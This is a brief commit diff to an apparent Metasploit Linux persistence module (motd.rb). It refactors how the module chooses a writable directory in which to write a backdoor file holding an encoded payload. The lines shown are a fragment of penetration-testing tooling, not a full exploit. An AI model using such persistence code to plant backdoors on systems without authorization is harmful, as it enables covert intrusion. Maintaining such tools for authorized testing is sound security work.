motd updated with mixin udpates

Author: h00die

modules/exploits/linux/persistence/motd.rb

@@ -83,7 +83,7 @@ def install_persistence
     if payload.arch.first == 'cmd'
       write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
     else
-      backdoor_path = datastore['WritableDir']
+      backdoor_path = writable_dir
       backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
       backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
       backdoor_path << backdoor_name